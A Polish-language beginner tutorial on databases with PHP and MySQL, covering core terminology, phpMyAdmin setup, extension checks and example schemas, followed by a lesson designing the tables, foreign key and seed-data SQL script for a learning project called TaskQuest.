baza danych (database) – Zorganizowany zbiór danych. Przykład: baza discord_app zawiera wszystkie dane aplikacji Discord.

tabela (table) – Struktura przechowująca dane w formie wierszy i kolumn. Przykład: tabela users przechowuje dane użytkowników.

kolumna (column/field) – Pojedyncze pole w tabeli. Przykład: username, email, created_at.

wiersz (row/record) – Pojedynczy rekord w tabeli. Przykład: jeden użytkownik to jeden wiersz.

klucz główny (primary key) – Unikalne pole identyfikujące wiersz. Przykład: id użytkownika.

SQL (Structured Query Language) – Język używany do komunikacji z bazą danych.

Podstawowe operacje (CRUD):

• CREATE (INSERT) – dodawanie danych
• READ (SELECT) – odczytywanie danych
• UPDATE – aktualizacja danych
• DELETE – usuwanie danych

Tworzenie bazy danych – dwa sposoby

1. Graficznie w phpMyAdmin

phpMyAdmin to narzędzie webowe do zarządzania bazami MySQL/MariaDB (dostępne w XAMPP, WAMP, na hostingu).

Kroki:

1. Otwórz phpMyAdmin (zwykle http://localhost/phpmyadmin)
2. Kliknij zakładkę „Bazy danych”
3. Wpisz nazwę bazy (np. social_media_app)
4. Wybierz kodowanie: utf8mb4_unicode_ci (obsługa emoji i polskich znaków)
5. Kliknij „Utwórz”

2. Przez kod PHP

Możesz również tworzyć bazy bezpośrednio z poziomu PHP (przydatne przy automatyzacji).

Szczegóły w dalszej części materiału.

Co dalej?

W kolejnych częściach nauczysz się:

• Łączyć się z bazą danych (PDO i MySQLi)
• Wykonywać zapytania SQL (SELECT, INSERT, UPDATE, DELETE)
• Zabezpieczać aplikację przed SQL Injection
• Obsługiwać błędy połączenia
• Pracować z prepared statements
• Budować praktyczne aplikacje (system logowania, chat, panel gracza)

Jak sprawdzić czy masz włączone rozszerzenia w kodzie PHP

<?php
// Sprawdź MySQLi
if (extension_loaded('mysqli')) {
    echo "MySQLi jest dostępne<br>";
} else {
    echo "MySQLi NIE jest dostępne<br>";
}

// Sprawdź PDO
if (extension_loaded('pdo_mysql')) {
    echo "PDO MySQL jest dostępne<br>";
} else {
    echo "PDO MySQL NIE jest dostępne<br>";
}

// Lista wszystkich dostępnych sterowników PDO
echo "<br>Dostępne sterowniki PDO:<br>";
print_r(PDO::getAvailableDrivers());
?>

Jeśli coś nie działa, sprawdź plik php.ini i odkomentuj linie:

extension=mysqli
extension=pdo_mysql

Przykłady zastosowań baz danych

Żeby lepiej zrozumieć do czego służą bazy danych, zobacz przykłady z życia codziennego:

Aplikacja do streamingu muzyki (typ Spotify)

Tabele:

• users – użytkownicy (id, username, email, premium)
• songs – utwory (id, title, artist, duration, file_path)
• playlists – playlisty (id, user_id, name, created_at)
• playlist_songs – piosenki w playlistach (playlist_id, song_id)
• listening_history – historia odsłuchań (user_id, song_id, played_at)

System zarządzania serwerem gier (typ Minecraft)

Tabele:

• players – gracze (id, username, uuid, first_join, last_seen)
• player_stats – statystyki (player_id, kills, deaths, playtime, level)
• inventory – ekwipunek (player_id, item_id, quantity, slot)
• transactions – zakupy (id, player_id, item, price, date)
• bans – bany (player_id, reason, banned_by, expires_at)

Panel Discord Bot

Tabele:

• guilds – serwery (id, name, owner_id, prefix, premium)
• guild_settings – ustawienia (guild_id, welcome_channel, log_channel, auto_role)
• commands_usage – statystyki (guild_id, command_name, uses, last_used)
• warnings – ostrzeżenia (user_id, guild_id, reason, moderator_id, date)

Przydatne linki

• Dokumentacja MySQLi
• Dokumentacja PDO
• MySQL vs MariaDB – szczegółowe porównanie
• W3Schools – PHP MySQL
• phpMyAdmin – dokumentacja

TaskQuest 1.7 — projektujemy bazę danych TaskQuest

taskquest/
├── index.php                        bez zmian
├── dodaj-zadanie.php                bez zmian
├── zaloguj.php                      bez zmian
├── wyloguj.php                      bez zmian
├── diagnostyka.php                  (zmiana: plik SQL na liście wymaganych, sekcja „Baza danych”)
├── classes/
│   ├── Zadanie.php                  bez zmian
│   └── Uzytkownik.php               bez zmian
├── config/
│   └── config.php                   bez zmian (dane dostępowe do bazy dojdą w L18)
├── includes/
│   ├── header.php                   bez zmian
│   ├── footer.php                   (zmiana: "TaskQuest 1.7")
│   └── ... pozostałe pliki funkcji  bez zmian
├── sql/                             NOWY KATALOG
│   └── taskquest.sql                NOWY — tabele bazy + dane testowe
└── data/
    └── zadania.csv                  bez zmian — aplikacja nadal z niego czyta

id;tytul;opis;termin;wykonane;xp          ← nagłówek = nazwy KOLUMN
1;"   Nauczyć   się regexów   PHP   ";... ← jedna linia = jeden WIERSZ (rekord)

<?php

var_dump(extension_loaded('mysqli'));
var_dump(extension_loaded('mysql'));
var_dump(class_exists('mysqli'));

echo 'Wersja PHP: ' . PHP_VERSION;

class Uzytkownik
{
    private string $login;
    private string $imieUzytkownika;
    private int $xp;
    private int $streak;
    private string $dataOstatniejAktywnosci;
    // ...
}

CREATE TABLE uzytkownicy (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    login VARCHAR(20) NOT NULL UNIQUE,
    imie VARCHAR(30) NOT NULL,
    haslo_hash VARCHAR(255) NULL,
    xp INT UNSIGNED NOT NULL DEFAULT 0,
    streak INT UNSIGNED NOT NULL DEFAULT 0,
    data_ostatniej_aktywnosci DATE NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

xp = 350, poziom = 2

uzytkownicy                         zadania
+----+-----------+                  +----+---------------+----------------------+
| id | login     |                  | id | uzytkownik_id | tytul                |
+----+-----------+                  +----+---------------+----------------------+
|  1 | Kama_2026 | ◄──────────┬──── |  1 |             1 | Nauczyć się regexów  |
|    |           |            ├──── |  2 |             1 | ...                  |
|    |           |            └──── |  3 |             1 | ...                  |
|  2 | Ola_TQ    | ◄─────────────── |  4 |             2 | Zaprojektować bazę   |
+----+-----------+                  +----+---------------+----------------------+
          1                                         N

FOREIGN KEY (uzytkownik_id) REFERENCES uzytkownicy(id) ON DELETE CASCADE

INSERT INTO uzytkownicy (login, imie, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', 99, 5, '2026-09-14'),
('Ola_TQ', 'Ola', 250, 0, NULL);

SELECT * FROM uzytkownicy;

kolumna        | typ           | NULL?    | inne
id             | ...           | ...      | ...
...

kolumna        | typ           | NULL?    | inne
id             | INT UNSIGNED  | NOT NULL | PRIMARY KEY, AUTO_INCREMENT
uzytkownik_id  | INT UNSIGNED  | NOT NULL | FOREIGN KEY → uzytkownicy(id), ON DELETE CASCADE
tytul          | VARCHAR(100)  | NOT NULL |
opis           | VARCHAR(300)  | NOT NULL | DEFAULT ''
termin         | DATE          | NOT NULL |
xp             | INT UNSIGNED  | NOT NULL |

A) wykonane TINYINT(1) NOT NULL DEFAULT 0          (0/1, jak w CSV)
B) wykonane TINYINT(1) + data_wykonania DATE NULL  (dwie kolumny)
C) data_wykonania DATE NULL                         (NULL = niewykonane)

-- TaskQuest 1.7 — struktura bazy danych i dane testowe
-- Uruchom w phpMyAdmin: baza taskquest → zakładka SQL → wklej całość → Wykonaj.
-- Skrypt można uruchamiać wiele razy: najpierw usuwa stare tabele (RAZEM Z DANYMI!).

DROP TABLE IF EXISTS zadania;
DROP TABLE IF EXISTS uzytkownicy;

CREATE TABLE uzytkownicy (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    login VARCHAR(20) NOT NULL UNIQUE,
    imie VARCHAR(30) NOT NULL,
    haslo_hash VARCHAR(255) NULL,
    xp INT UNSIGNED NOT NULL DEFAULT 0,
    streak INT UNSIGNED NOT NULL DEFAULT 0,
    data_ostatniej_aktywnosci DATE NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

CREATE TABLE zadania (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    uzytkownik_id INT UNSIGNED NOT NULL,
    tytul VARCHAR(100) NOT NULL,
    opis VARCHAR(300) NOT NULL DEFAULT '',
    termin DATE NOT NULL,
    data_wykonania DATE NULL,
    xp INT UNSIGNED NOT NULL,
    FOREIGN KEY (uzytkownik_id) REFERENCES uzytkownicy(id) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

INSERT INTO uzytkownicy (login, imie, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', 99, 5, '2026-09-14'),
('Ola_TQ', 'Ola', 250, 0, NULL);

INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, data_wykonania, xp) VALUES
(1, '   Nauczyć   się regexów   PHP   ', 'tu opis z CSV', '2026-09-20', '2026-09-14', 20),
-- ... kolejne zadania z data/zadania.csv (uzytkownik_id = 1) ...
(2, 'Zaprojektować bazę TaskQuest', 'Tabele uzytkownicy i zadania, klucze i relacja 1:N.', '2026-10-05', NULL, 30);